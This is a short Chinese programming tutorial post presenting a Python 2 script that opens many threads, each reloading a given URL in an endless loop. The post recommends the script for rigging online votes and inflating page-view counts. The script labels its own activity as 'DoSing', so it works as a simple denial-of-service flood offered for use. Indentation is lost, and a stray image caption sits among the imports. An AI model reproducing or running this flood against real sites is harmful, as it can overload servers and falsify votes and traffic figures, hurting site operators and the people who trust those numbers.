本文实例讲述了python使用多线程不断刷新网页的方法。分享给大家供大家参考。具体如下：

这段代码可以开通过个线程不断刷新指定的页面，可用于刷票，增加网页访问量等等，不用再去按F5了

import thread

(资料图)

import urllib2

import sys

import time

def usage():

print "Usage: python " + sys.argv[0] + " "

sys.exit()

def reloader(numthread):

url = sys.argv[1]

numreloads = 0

while True:

try:

urllib2.urlopen(url)

numreloads = numreloads + 1

except KeyboardInterrupt:

sys.exit("\nProcess aborted.")

def splash():

print "welcome to https://www.jb51.net/codes "

if len(sys.argv) < 3:

usage()

if __name__ == "__main__":

splash()

print "[!] DoSing " + sys.argv[1] + " with " + sys.argv[2] + " threads."

for reloadspawn in range(0, int(sys.argv[2])):

thread.start_new_thread(reloader, (reloadspawn,))

sys.stdout.write("")

dosind = ["-", "\\", "|", "/"]

dosstat = 0

while True:

try:

sys.stdout.write("\r" + dosind[dosstat % 4] + " DoSing...")

sys.stdout.flush()

dosstat = dosstat + 1

time.sleep(0.25)

except KeyboardInterrupt:

sys.exit("\nProcess aborted.")

希望本文所述对大家的Python程序设计有所帮助。